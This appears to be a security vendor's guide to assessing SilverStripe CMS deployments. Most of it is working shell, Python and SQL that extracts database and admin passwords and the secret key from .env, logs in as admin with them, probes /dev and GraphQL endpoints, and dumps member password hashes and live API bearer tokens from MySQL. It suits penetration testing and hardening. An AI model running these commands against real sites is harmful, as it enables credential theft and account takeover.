SilverStripe Security Testing: Default Credentials, API Key, Database, and CMS

SilverStripe is a popular open-source PHP CMS and web application framework used widely across Australia, New Zealand, and the UK. Key assessment areas: the .env file exposes SS_DATABASE_PASSWORD and the default admin password SS_DEFAULT_ADMIN_PASSWORD in plaintext; developer mode exposes /dev/build, /dev/tasks, and /dev/state endpoints; the GraphQL API at /graphql may return unauthenticated data; and the Member table stores bcrypt password hashes. This guide covers systematic SilverStripe security assessment.

Table of Contents

  1. .env SS_DATABASE_PASSWORD and Admin Credential Extraction
  2. Developer Mode and GraphQL API Assessment
  3. MySQL Member Hash and AccessToken Extraction
  4. SilverStripe Security Hardening

.env SS_DATABASE_PASSWORD and Admin Credential Extraction

# SilverStripe — .env credential extraction
SS_URL="https://cms.example.com"

# SilverStripe .env — database and admin credentials
cat /var/www/silverstripe/.env 2>/dev/null
# SS_DATABASE_CLASS="MySQLDatabase"
# SS_DATABASE_NAME="silverstripe"
# SS_DATABASE_USERNAME="silverstripe"
# SS_DATABASE_PASSWORD="..."           <-- MySQL database password
# SS_DATABASE_SERVER="localhost"
# SS_DEFAULT_ADMIN_USERNAME="admin"
# SS_DEFAULT_ADMIN_PASSWORD="..."      <-- Default admin user password (CRITICAL)
# SS_SECRET_KEY="..."                  <-- Session signing secret / CSRF key

python3 -c "
import re
content = open('/var/www/silverstripe/.env').read()
patterns = {
    'db_password': r'SS_DATABASE_PASSWORD=[\"\\x27]?([^\"\\x27\\n]+)',
    'db_username': r'SS_DATABASE_USERNAME=[\"\\x27]?([^\"\\x27\\n]+)',
    'db_name': r'SS_DATABASE_NAME=[\"\\x27]?([^\"\\x27\\n]+)',
    'admin_user': r'SS_DEFAULT_ADMIN_USERNAME=[\"\\x27]?([^\"\\x27\\n]+)',
    'admin_pass': r'SS_DEFAULT_ADMIN_PASSWORD=[\"\\x27]?([^\"\\x27\\n]+)',
    'secret_key': r'SS_SECRET_KEY=[\"\\x27]?([^\"\\x27\\n]+)',
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test .env web exposure (CRITICAL misconfiguration)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${SS_URL}/.env" 2>/dev/null)
echo ".env HTTP: ${STATUS}"
# Should return 403 — if 200, plaintext credentials exposed

# Test admin login with extracted credentials
ADMIN_PASS="extracted-password"
curl -s -X POST "${SS_URL}/Security/LoginForm" \
  -d "Email=admin&Password=${ADMIN_PASS}&action_doLogin=1&SecurityID=extracted" \
  -c /tmp/ss_c -b /tmp/ss_c -L 2>/dev/null | grep -o "CMSMain\|Admin" | head -1

Developer Mode and GraphQL API Assessment

# SilverStripe — developer mode and GraphQL API assessment
SS_URL="https://cms.example.com"

# Developer mode endpoints (should require admin or be disabled in production)
for ENDPOINT in "/dev/build" "/dev/tasks" "/dev/state" "/dev/viewcode"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${SS_URL}${ENDPOINT}" 2>/dev/null)
  echo "${ENDPOINT}: HTTP ${STATUS}"
done
# /dev/build in production = database schema rebuild without auth (dangerous)
# /dev/state may leak application state and config values

# SilverStripe GraphQL API assessment
# Default GraphQL endpoint at /graphql
curl -s -X POST "${SS_URL}/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{queryType{name}}}"}' 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    schema = d.get('data',{}).get('__schema',{})
    print(f'GraphQL available: {bool(schema)}')
    print(f'Query type: {schema.get(\"queryType\",{}).get(\"name\")}')
except: pass
" 2>/dev/null

# Introspect available queries
curl -s -X POST "${SS_URL}/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name}}}}"}' 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    types=d.get('data',{}).get('__schema',{}).get('types',[])
    for t in types:
        if not t['name'].startswith('__') and t.get('fields'):
            print(f'Type {t[\"name\"]}: {[f[\"name\"] for f in t[\"fields\"][:5]]}')
except: pass
" 2>/dev/null

MySQL Member Hash and AccessToken Extraction

# SilverStripe MySQL database — Member hash and AccessToken extraction
DB_PASS="extracted-db-password"

mysql -u silverstripe -p"${DB_PASS}" silverstripe 2>/dev/null << 'EOF'
-- SilverStripe Member table — all CMS users with password hashes
SELECT m.ID, m.Email, m.Password,
       m.FirstName, m.Surname,
       m.PasswordEncryption,    -- 'blowfish' (bcrypt), 'sha1', 'md5'
       m.LockedOutUntil,
       m.FailedLoginCount,
       m.LastVisited
FROM Member m
ORDER BY m.ID
LIMIT 20;
-- Password field: includes algorithm prefix e.g. $2y$10$...

-- Group membership (identify admins)
SELECT m.Email, m.FirstName, m.Surname,
       g.Title as group_name, g.Code as group_code
FROM Member m
JOIN Group_Members gm ON gm.MemberID = m.ID
JOIN Group g ON g.ID = gm.GroupID
WHERE g.Code IN ('administrators', 'admin', 'cms-admin')
ORDER BY m.ID;

-- AccessToken table (API Bearer tokens)
SELECT at.ID, at.Token, at.ExpiresAt, at.Compact,
       m.Email, m.FirstName, m.Surname
FROM AccessToken at
JOIN Member m ON m.ID = at.MemberID
WHERE at.ExpiresAt IS NULL OR at.ExpiresAt > NOW()
ORDER BY at.ID DESC
LIMIT 20;
-- Token: plaintext Bearer token for API authentication

-- LoginAttempt log (recent access patterns)
SELECT la.Email, la.IP, la.Status, la.Created
FROM LoginAttempt la
ORDER BY la.Created DESC
LIMIT 20;
EOF

SilverStripe Security Hardening

SilverStripe Security Hardening Checklist:
Security TestMethodRisk
.env SS_DATABASE_PASSWORD and SS_DEFAULT_ADMIN_PASSWORD extractionRead /var/www/silverstripe/.env — MySQL database credentials plus plaintext default admin password enabling immediate CMS admin accessCritical
/.env web exposure testGET /.env — if HTTP 200, all credentials including SS_SECRET_KEY for CSRF/session forgery are publicly accessibleCritical
/dev/build unauthenticated database rebuildGET /dev/build — if SS_ENVIRONMENT_TYPE=dev in production, unauthenticated database schema rebuild; can alter/reset table structuresHigh
Member table bcrypt/MD5 password hash extractionMySQL SELECT Password, PasswordEncryption FROM Member — bcrypt hashes for current users; legacy MD5 hashes for older accounts (trivially crackable)High
AccessToken plaintext Bearer token extractionMySQL SELECT Token FROM AccessToken — plaintext Bearer tokens for API authentication at member permission levelHigh

Automate SilverStripe Security Testing

Ironimo tests SilverStripe deployments for /.env SS_DATABASE_PASSWORD and SS_DEFAULT_ADMIN_PASSWORD web exposure, SS_SECRET_KEY CSRF/session key extraction, SS_ENVIRONMENT_TYPE dev/live mode detection, /dev/build unauthenticated access assessment, /dev/tasks and /dev/state endpoint exposure, GraphQL /graphql introspection and unauthenticated data access, Member table bcrypt and legacy MD5 hash extraction, AccessToken plaintext Bearer token enumeration, Group_Members administrator identification, and SilverStripe version disclosure for CVE targeting.

Start free scan